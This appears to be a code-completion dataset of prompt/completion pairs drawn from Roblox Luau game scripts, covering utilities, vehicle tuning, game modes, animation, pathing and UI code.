prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[=[ @return Trove Creates and adds another trove to itself. This is just shorthand for `trove:Construct(Trove)`. This is useful for contexts where the trove object is present, but the class itself isn't. :::note This does _not_ clone the trove. In other words, the objects in the trove are not given to the new constructed trove. This is simply to construct a new Trove and add it as an object to track. ::: ```lua local trove = Trove.new() local subTrove = trove:Extend() trove:Clean() -- Cleans up the subTrove too ``` ]=]
function Trove:Extend() return self:Construct(Trove) end
--// Ammo Settings
Ammo = 7; StoredAmmo = 7; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 3;
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Hotel Owner", }; {4, "Hotel Manager", {"",0}, }; {3, "Hotel Worker", {"",0}, }; {2, "Hotel Helper", {"",0}, }; {1, "Hotel Desk", {"",0}, }; {0, "Hotel Guest", }; };
--local cameraModule = playerModule:GetCameras()
local camera = workspace.CurrentCamera local avatarEditorFrame = avatarEditorGui.Main local catalogFrame = avatarEditorFrame.Catalog local viewerFrame = avatarEditorFrame.Viewer local detailsOverlay = avatarEditorGui.DetailsOverlay local toggleButton = avatarEditorGui.Toggle local doneButton = viewerFrame.Done local viewButton = viewerFrame.View local headerFrame = catalogFrame.Header local categoryTabsFrame = headerFrame.CategoryTabs local subCategoryTabsFrame = headerFrame.SubCategoryTabs local searchFrame = headerFrame.Search local containerFrame = catalogFrame.Container local scrollingFrame = containerFrame.ScrollingFrame local scrollingFrameUIGridLayout = scrollingFrame.UIGridLayout local scaleFrame = containerFrame.ScaleFrame local scaleFrameUIGridLayout = scaleFrame.UIGridLayout local searchTextBox = searchFrame.TextBox local clearSearchButton = searchFrame.Clear local purchasePrompt = PurchasePrompt.new(detailsOverlay) local activeButtons = Maid.new() local activeConnections = Maid.new() local activeCategoryButtons = {} local activeSubCategoryButtons = {} local numberValue = Instance.new("NumberValue") numberValue.Value = CAMERA_OFFSET local categoryButtons = TableUtil.Filter(categoryTabsFrame:GetChildren(), function(item) return item:IsA("GuiButton") end) local subCategoryFrames = TableUtil.Filter(subCategoryTabsFrame:GetChildren(), function(item) return item:IsA("GuiObject") end) local catalogFrameOpenTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(0, 0, 0, 0)}) local catalogFrameCloseTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(-0.6, 0, 0, 0)}) local viewerFrameOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1, 0, 0, 0)}) local viewerFrameCloseTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, 0, 0, 0)}) local viewFramePartialOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, -36, 0, 0)}) local fullViewCloseTween = Tween:Create(numberValue, tweenInfo, {Value = CAMERA_OFFSET}) local fullViewOpenTween = Tween:Create(numberValue, tweenInfo, {Value = 0.5}) local currentCategory = "Accessories" local currentSubCategory = "Hair" local isOpen = false local fullView = false
-- Game Mode Overrides
_overrides.DEFAULT = { game_mode_name = "DEFAULT", override = true, } _overrides.DEATHMATCH = { game_mode_name = "DEATHMATCH", override = true, respawn = true, respawnTime = 5, respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius respawn_radius_highest_fraction = 0.9, respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height killsNeededToWin = 25, storm = { radius = 6000, time_before_start = 18, debug_time_scale = 1, number_of_stages = 5, -- stage 0 (show starting circle with no transition) { transition_length = 0, wait_length = 210, damage = 1, move_scale = 0, shrinkage_factor = 0 }, -- stage 1 { transition_length = 120, wait_length = 120, damage = 3, shrinkage_factor = 0.75 }, -- stage 2 { transition_length = 90, wait_length = 90, damage = 5, shrinkage_factor = 0.3 }, -- stage 3 { transition_length = 75, wait_length = 0, damage = 7, shrinkage_factor = 0.3 }, -- stage 4 (wait indefinitely until match ends) { transition_length = 0, wait_length = 1, damage = 10, shrinkage_factor = 0 }, }, } _overrides.TEAM_DEATHMATCH = { game_mode_name = "TEAM_DEATHMATCH", override = true, -- Respawn config values respawn = true, respawnTime = 5, respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius respawn_radius_highest_fraction = 0.9, respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height -- Team config values num_teams = 2, team_names = { "Orange", "Blue", }, team_colors = { Color3.fromRGB(255, 120, 0), Color3.fromRGB(0, 120, 255), }, num_respawn_tickets = 15, delivery_vehicle_offset_from_center = 1800, -- delivery vehicle paths will be set this distance (in studs) from center dividing line storm = { radius = 6000, time_before_start = 18, debug_time_scale = 1, number_of_stages = 5, -- stage 0 (show starting circle with no transition) { transition_length = 0, wait_length = 210, damage = 1, move_scale = 0, shrinkage_factor = 0 }, -- stage 1 { transition_length = 120, wait_length = 120, damage = 3, shrinkage_factor = 0.75 }, -- stage 2 { transition_length = 90, wait_length = 90, damage = 5, shrinkage_factor = 0.3 }, -- stage 3 { transition_length = 75, wait_length = 0, damage = 7, shrinkage_factor = 0.3 }, -- stage 4 (wait indefinitely until match ends) { transition_length = 0, wait_length = 1, damage = 10, shrinkage_factor = 0 }, }, }
-- constants
local GUI = script.Parent local SQUAD_GUI = GUI:WaitForChild("Squad") local HEALTH_COLOR = Color3.fromRGB(80, 208, 45) local DOWN_COLOR = Color3.fromRGB(216, 33, 33)
--Actual script
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() if script:FindFirstChild("SendDeathMessage") and script:FindFirstChild("DeathMessage") then script:FindFirstChild("SendDeathMessage").Parent = game.ReplicatedStorage script:FindFirstChild("DeathMessage").Parent = game.StarterGui if player.Character:FindFirstChild("Humanoid") then local hum = player.Character:FindFirstChild("Humanoid") hum.Died:Connect(function() local DeathMessage = DeathMessages[math.random(1,#DeathMessages)] local Users = game.Players:GetChildren() for i, User in pairs(Users) do if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage) end end end) end elseif game.ReplicatedStorage:FindFirstChild("SendDeathMessage") and game.StarterGui:FindFirstChild("DeathMessage") then if player.Character:FindFirstChild("Humanoid") then local hum = player.Character:FindFirstChild("Humanoid") hum.Died:Connect(function() local DeathMessage = DeathMessages[math.random(1,#DeathMessages)] local Users = game.Players:GetChildren() for i, User in pairs(Users) do if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage) end end end) end end end) end)
--script.Parent.SelectTab.TabButtonNameHere.MouseButton1Click:connect(CustomTab)
script.Parent.PageNext.MouseButton1Click:connect(Next) script.Parent.PagePrev.MouseButton1Click:connect(Prev)
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FSusMaxExt = .2 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .2 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RSusMaxExt = .2 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[=[ Flattens all the brios in one brio and combines them, and then switches it to a brio so only the last state is valid. @param observables { [any]: Observable<Brio<T>> | Observable<T> | T } @param filter function | nil @return Observable<Brio<{ [any]: T }>> ]=]
function RxBrioUtils.flatCombineLatestBrio(observables, filter) assert(type(observables) == "table", "Bad observables") return RxBrioUtils.flatCombineLatest(observables) :Pipe({ RxBrioUtils.switchToBrio(); filter and RxBrioUtils.where(filter) or nil }) end
--[[ ROBLOX deviation: ReactSharedInternals captures singleton state across the whole workspace. This file and the modules it requires were moved from React to untangle a cyclic workspace member dependency. Before: * ReactSharedInternals (and the 5 associated modules) lived in React * React had a dependency on Shared * Shared reached into React source to re-export ReactSharedInternals (cycle) After: * ReactSharedInternals (and the 5 associated modules) live in Shared * React depends on Shared * Shared has no intra-workspace dependencies (no cycles) ]]
local Packages = script.Parent.Parent local console = require(Packages.LuauPolyfill).console local function onlyInTestError(functionName: string) return function() console.error(functionName .. " is only available in tests, not in production") end end
-- Gradually regenerates the Humanoid's Health over time. FOTPS
local REGEN_RATE = 20 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.
-- print("Wha " .. pose)
stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--[[** ensures Lua primitive callback type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.callback = primitive("function") t["function"] = t.callback
-- REQUIRED PARTS ----------------------------------------------- -- Include all of these, or things will break!
local headlights = { model.Headlight_Left, model.Headlight_Right } local brakelights = { model.Brakelight_Left, model.Brakelight_Right } local seat = model.VehicleSeat -- Your driver seat local upVectorPart = model.VehicleSeatBack -- Any part with lookvector up (we use this when you get flipped over) local gyro = upVectorPart.BodyGyro -- Point this to any unused bodyGyro. local smoke = model.ExhaustPipe.Smoke local fire = model.ExhaustPipe.Fire
-- Handle potential Premium purchase from outside the game while user is playing
Players.PlayerMembershipChanged:Connect(function(player) warn("Player membership changed; new membership is " .. tostring(player.MembershipType)) if player.MembershipType == Enum.MembershipType.Premium then -- Teleport player to the Premium-only place
-- Requires - Module Functions
ServerSceneFramework.LoadCharacterRemoteEventModule = require(script.LoadCharacterRemoteEventModule) ServerSceneFramework.LoadSceneModule = require(script.LoadSceneModule) ServerSceneFramework.FinishedLoadingClientModule = require(script.FinishedLoadingClientModule) ServerSceneFramework.LoadSceneFromListEventModule = require(script.LoadSceneFromListEventModule) ServerSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule) ServerSceneFramework.IsLoadingSceneModule = require(script.IsLoadingSceneModule) ServerSceneFramework.LoadSceneServerModule = require(script.LoadSceneServerModule) ServerSceneFramework.OnPlayerAddedModule = require(script.OnPlayerAddedModule) ServerSceneFramework.CheckFolderForLoadedScenesModule = require(script.CheckFolderForLoadedScenesModule) ServerSceneFramework.FindClientFolderModule = require(script.FindClientFolderModule) ServerSceneFramework.FindServerFolderModule = require(script.FindServerFolderModule) ServerSceneFramework.InitModule = require(script.InitModule) ServerSceneFramework.HandleOrchestrateEvent = require(script.HandleOrchestrateEvent) local Orchestra = script.Parent
-------------------------------------------------------------------------
local function CheckAlive() local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() if ExistingPather then ExistingPather:Cancel() ExistingPather = nil end if PathCompleteListener then PathCompleteListener:Disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:Disconnect() PathFailedListener = nil end if ExistingIndicator then ExistingIndicator:Destroy() end end local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath) if ExistingPather then CleanupPath() end ExistingPather = thisPather thisPather:Start(overrideShowPath) PathCompleteListener = thisPather.Finished.Event:Connect(function() CleanupPath() if hitChar then local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end) PathFailedListener = thisPather.PathFailed.Event:Connect(function() CleanupPath() if overrideShowPath == nil or overrideShowPath then local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive()) if shouldPlayFailureAnim then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end end) end local function ShowPathFailedFeedback(hitPt) if ExistingPather and ExistingPather:IsActive() then ExistingPather:Cancel() end if PlayFailureAnimation then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end function OnTap(tapPositions, goToPoint, wasTouchTap) -- Good to remember if this is the latest tap event local camera = Workspace.CurrentCamera local character = Player.Character if not CheckAlive() then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y) local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000) local myHumanoid = findPlayerHumanoid(Player) local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList()) local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart) if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent) if clickedPlayer then CleanupPath() return end end if goToPoint then hitPt = goToPoint hitChar = nil end if hitPt and character then -- Clean up current path CleanupPath() local thisPather = Pather(hitPt, hitNormal) if thisPather:IsValidPath() then HandleMoveTo(thisPather, hitPt, hitChar, character) else -- Clean up thisPather:Cleanup() -- Feedback here for when we don't have a good path ShowPathFailedFeedback(hitPt) end end end elseif #tapPositions >= 2 then if camera then -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end end local function DisconnectEvent(event) if event then event:Disconnect() end end
-- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6200 -- Use sliders to manipulate values Tune.Redline = 7700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[** Returns a t.union of each key in the table as a t.literal @param keyTable The table to get keys from @returns True iff the condition is satisfied, false otherwise **--]]
function t.keyOf(keyTable) local keys = {} local length = 0 for key in keyTable do length = length + 1 keys[length] = key end return t.literal(table.unpack(keys, 1, length)) end
--[=[ @param data table @return Option Deserializes the data into an Option. This data should have come from the `option:Serialize()` method. ]=]
function Option.Deserialize(data) -- type data = {ClassName: string, Value: any} assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option") return data.Value == nil and Option.None or Option.Some(data.Value) end
--// Servc
local UIS = game:GetService('UserInputService') local Players = game:GetService('Players') local SSS = game:GetService('ServerScriptService') local rp = game:GetService("ReplicatedStorage")
--bp.Position = shelly.PrimaryPart.Position
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat task.wait() until tick()-ostrich > 10 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else task.wait(1) end end
-- Do not edit these values, they are not the developer-set limits, they are limits -- to the values the camera system equations can correctly handle
local MIN_ALLOWED_ELEVATION_DEG = -80 local MAX_ALLOWED_ELEVATION_DEG = 80 local externalProperties = {} externalProperties["InitialDistance"] = 25 externalProperties["MinDistance"] = 10 externalProperties["MaxDistance"] = 100 externalProperties["InitialElevation"] = 35 externalProperties["MinElevation"] = 35 externalProperties["MaxElevation"] = 35 externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- ================================================================================ -- Settings - Tachyon -- ================================================================================
local Settings = {} Settings.DefaultSpeed = 200 -- Speed when not boosted [Studs/second, Range 50-300] Settings.BoostSpeed = 300 -- Speed when boosted [Studs/second, Maximum: 400] Settings.BoostAmount = 6 -- Duration of boost in seconds Settings.Steering = 8 -- How quickly the speeder turns [Range: 1-10]
--[[ Constructs a new Promise with the given initializing callback. This is generally only called when directly wrapping a non-promise API into a promise-based version. The callback will receive 'resolve' and 'reject' methods, used to start invoking the promise chain. Second parameter, parent, is used internally for tracking the "parent" in a promise chain. External code shouldn't need to worry about this. ]]
function Promise._new(traceback, callback, parent) if parent ~= nil and not Promise.is(parent) then error("Argument #2 to Promise.new must be a promise or nil", 2) end local self = { -- Used to locate where a promise was created _source = traceback, _status = Promise.Status.Started, -- A table containing a list of all results, whether success or failure. -- Only valid if _status is set to something besides Started _values = nil, -- Lua doesn't like sparse arrays very much, so we explicitly store the -- length of _values to handle middle nils. _valuesLength = -1, -- Tracks if this Promise has no error observers.. _unhandledRejection = true, -- Queues representing functions we should invoke when we update! _queuedResolve = {}, _queuedReject = {}, _queuedFinally = {}, -- The function to run when/if this promise is cancelled. _cancellationHook = nil, -- The "parent" of this promise in a promise chain. Required for -- cancellation propagation upstream. _parent = parent, -- Consumers are Promises that have chained onto this one. -- We track them for cancellation propagation downstream. _consumers = setmetatable({}, MODE_KEY_METATABLE), } if parent and parent._status == Promise.Status.Started then parent._consumers[self] = true end setmetatable(self, Promise) local function resolve(...) self:_resolve(...) end local function reject(...) self:_reject(...) end local function onCancel(cancellationHook) if cancellationHook then if self._status == Promise.Status.Cancelled then cancellationHook() else self._cancellationHook = cancellationHook end end return self._status == Promise.Status.Cancelled end coroutine.wrap(function() local ok, _, result = runExecutor( self._source, callback, resolve, reject, onCancel ) if not ok then reject(result[1]) end end)() return self end function Promise.new(executor) return Promise._new(debug.traceback(nil, 2), executor) end function Promise:__tostring() return string.format("Promise(%s)", self._status) end
--script.Parent.KK.Velocity = script.Parent.KK.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.KKK.Velocity = script.Parent.KKK.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.KKKK.Velocity = script.Parent.KKKK.CFrame.lookVector *script.Parent.Speed.Value script.Parent.L.Velocity = script.Parent.L.CFrame.lookVector *script.Parent.Speed.Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function Scale() local magnitude = GrabMagnitude() --- Don't run this if we don't need to (resolution hasn't changed much) if (not magnitude) or (lastMagnitude and math.abs(lastMagnitude - magnitude) < differenceToScan) or (lastMagnitude and lastMagnitude >= bestResolution and magnitude >= bestResolution) then return end lastMagnitude = magnitude --- Calculate ratio local ratio = maxDownscale + ((math.min(magnitude, bestResolution) / bestResolution) * (1 - maxDownscale)) --- Change 9Slices for _, gui in ipairs(_L.Player.Get("PlayerGui"):GetChildren()) do if gui.ClassName == "ScreenGui" and (not _L.Functions.SearchArray(blacklist, gui.Name)) then for i, v in ipairs(gui:GetDescendants()) do --- Yield to prevent microstuttering for lots of gui elements if i%200 == 0 then wait() end --- Adjust 9slice scaling ratio based on resolution if (v.ClassName == "ImageLabel" or v.ClassName == "ImageButton") and v.ScaleType == Enum.ScaleType.Slice then if not archive[v] then archive[v] = v.SliceScale end local base = archive[v] v.SliceScale = base * ratio end end end end end function GrabMagnitude() local resolution = _L.Player.Get("Camera").ViewportSize if resolution then local magnitude = resolution.Magnitude return magnitude end end
--This is just some simple server script that moves the object around every frame --The kinematics module handles the rest
game["Run Service"].Heartbeat:Connect(function(deltaTime) local speed = script:GetAttribute("speed") or Vector3.zero total+=deltaTime part.CFrame = startPos * CFrame.fromEulerAngles(total*speed.x,total*speed.y,total*speed.z) end)
-- ROBLOX deviation: we change from backtick to our literal string delimiter [=[ and ]=]
local function printBacktickString(str: string): string return "[=[\n" .. str .. "]=]" end local function ensureDirectoryExists(filePath: string) -- ROBLOX deviation: gets path of parent directory, GetScriptFilePath can only be called on ModuleScripts local pathComponents = filePath:split("/") pathComponents = table.pack(table.unpack(pathComponents, 1, #pathComponents - 1)) local path = table.concat(pathComponents, "/") local ok, err = pcall(function() if not FileSystemService:Exists(path) then FileSystemService:CreateDirectories(path) end end) if not ok and err:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then error( "Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n" .. "You may need to pass in `--fs.readwrite=$PWD`" ) end end function normalizeNewLines(string_: string) string_ = string.gsub(string_, "\r\n", "\n") local result = string.gsub(string_, "\r", "\n") return result end
--[[Wheel Stabilizer Gyro]]
Tune.FGyroDamp = 400 -- Front Wheel Non-Axial Dampening Tune.RGyroDamp = 400 -- Rear Wheel Non-Axial Dampening
-- wrapping long conditional in function
local function isShiftLockMode() return LocalPlayer.DevEnableMouseLock and GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch and LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.ClickToMove and GameSettings.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable and not UserInputService.GamepadEnabled end if not UserInputService.TouchEnabled then -- TODO: Remove when safe on mobile IsShiftLockMode = isShiftLockMode() end
-- Clear any existing animation tracks -- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil if animator then local animTracks = animator:GetPlayingAnimationTracks() for i,track in ipairs(animTracks) do track:Stop(0) track:Destroy() end end for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end for _,child in script:GetChildren() do if child:isA("StringValue") then animNames[child.Name] = {} configureAnimationSet(child.Name, animNames[child.Name]) end end
-- ROBLOX TODO: fix PrettyFormat types imports -- local PrettyFormat = require(Packages.PrettyFormat)
local PrettyFormat = require(CurrentModule.PrettyFormat) type PrettyFormatOptions = PrettyFormat.OptionsReceived local utils = require(CurrentModule.utils) local addExtraLineBreaks = utils.addExtraLineBreaks local getSnapshotData = utils.getSnapshotData local keyToTestName = utils.keyToTestName local removeExtraLineBreaks = utils.removeExtraLineBreaks
--[ MAIN LOCALS ]-
local Player = game.Players.LocalPlayer local Event = game.ReplicatedStorage.MusicEvents.NewSong local Frame = script.Parent.Parent local Gui = game.StarterGui.SurfaceGui.SongPart.Frame.SongName local SongText = Gui.Text local sound = game.Workspace.Sound local label = script.Parent.Parent.Requester
-- Custom enum implementation that provides an effective way to compare, send -- and store values. Instead of returning a userdata value, enum items return -- their corresponding itemValue (an integer) when indexed. Enum items can -- also associate a 'property', specified as the third element, which can be -- retrieved by doing ``enum.getProperty(ITEM_NAME_OR_VALUE)`` -- This ultimately means groups of data can be easily categorised, efficiently -- transmitted over networks and saved without throwing errors. -- Ben Horton (ForeverHD)
--local TwoHandAnim = hammer:WaitForChild("TwoHandAnim")
hammer.Equipped:Connect(function() local character = hammer.Parent if Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then --character.Humanoid.Animator:LoadAnimation(TwoHandAnim):Play() end end) hammer.Activated:Connect(function() local character = hammer.Parent if db == false and Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then --character.Humanoid.Animator:LoadAnimation(Slash):Play() -- Plays the animation local touchFunction touchFunction = hammer.Handle.Touched:Connect(function(hit) -- Fires when the hammer is touched local hitCharacter = hit:FindFirstAncestorOfClass("Model") -- The character we hit local hitPlayer = Players:GetPlayerFromCharacter(hitCharacter) -- Player we it local banSound = script.Parent.Handle.ban if hit and hitCharacter and hitPlayer then -- if we hit a player --banSave:SetAsync(hitPlayer.UserId,true) -- Saves the ban (Don't do this if you only want to kick them) hitPlayer:Kick("Congratulations! You just got kicked by the ban hammer! Be lucky you didn't banned instead!") -- Kicks with the provided message banSound:Play() touchFunction:Disconnect() -- Ends the function end end) db = true -- Enables cooldown task.wait(1) -- You might need to adjust this touchFunction:Disconnect() task.wait(1-0.3) -- The cooldown db = false -- Disables cooldown end end)
--[=[ @type ExtensionFn (component) -> () @within Component ]=]
type ExtensionFn = (any) -> ()
--[[ Called when the goal state changes value. If the new goal can be animated to, the equilibrium point of the internal springs will be moved, but the springs themselves stay in place. Returns false, as this has no immediate impact on the current value of the Spring object. If the new goal can't be animated to (different types/non-animatable type), then the springs will be instantly moved to the goal value. Returns true, as the current value of the Spring object will jump directly to the goal. ]]
function class:update() local goalValue = self._goalState:get(false) local oldType = self._currentType local newType = typeof(goalValue) self._goalValue = goalValue self._currentType = newType local springGoals = unpackType(goalValue, newType) local numSprings = #springGoals self._springGoals = springGoals if newType ~= oldType then -- if the type changed, we need to set the position and velocity local springPositions = table.create(numSprings, 0) local springVelocities = table.create(numSprings, 0) for index, springGoal in ipairs(springGoals) do springPositions[index] = springGoal end self._springPositions = springPositions self._springVelocities = springVelocities self._currentValue = self._goalValue SpringScheduler.remove(self) return true elseif numSprings == 0 then -- if the type hasn't changed, but isn't animatable, just change the -- current value self._currentValue = self._goalValue SpringScheduler.remove(self) return true end SpringScheduler.add(self) return false end if ENABLE_PARAM_SETTERS then --[[ Changes the damping ratio of this Spring. ]] function class:setDamping(damping: number) if damping < 0 then logError("invalidSpringDamping", nil, damping) end SpringScheduler.remove(self) self._damping = damping SpringScheduler.add(self) end --[[ Changes the angular frequency of this Spring. ]] function class:setSpeed(speed: number) if speed < 0 then logError("invalidSpringSpeed", nil, speed) end SpringScheduler.remove(self) self._speed = speed SpringScheduler.add(self) end --[[ Sets the position of the internal springs, meaning the value of this Spring will jump to the given value. This doesn't affect velocity. If the type doesn't match the current type of the spring, an error will be thrown. ]] function class:setPosition(newValue: Types.Animatable) local newType = typeof(newValue) if newType ~= self._currentType then logError("springTypeMismatch", nil, newType, self._currentType) end self._springPositions = unpackType(newValue, newType) self._currentValue = newValue updateAll(self) SpringScheduler.add(self) end --[[ Sets the velocity of the internal springs, overwriting the existing velocity of this Spring. This doesn't affect position. If the type doesn't match the current type of the spring, an error will be thrown. ]] function class:setVelocity(newValue: Types.Animatable) local newType = typeof(newValue) if newType ~= self._currentType then logError("springTypeMismatch", nil, newType, self._currentType) end self._springVelocities = unpackType(newValue, newType) SpringScheduler.add(self) end --[[ Adds to the velocity of the internal springs, on top of the existing velocity of this Spring. This doesn't affect position. If the type doesn't match the current type of the spring, an error will be thrown. ]] function class:addVelocity(deltaValue: Types.Animatable) local deltaType = typeof(deltaValue) if deltaType ~= self._currentType then logError("springTypeMismatch", nil, deltaType, self._currentType) end local springDeltas = unpackType(deltaValue, deltaType) for index, delta in ipairs(springDeltas) do self._springVelocities[index] += delta end SpringScheduler.add(self) end end local function Spring(goalState: Types.State<Types.Animatable>, speed: number?, damping: number?) -- check and apply defaults for speed and damping if speed == nil then speed = 10 elseif speed < 0 then logError("invalidSpringSpeed", nil, speed) end if damping == nil then damping = 1 elseif damping < 0 then logError("invalidSpringDamping", nil, damping) end local self = setmetatable({ type = 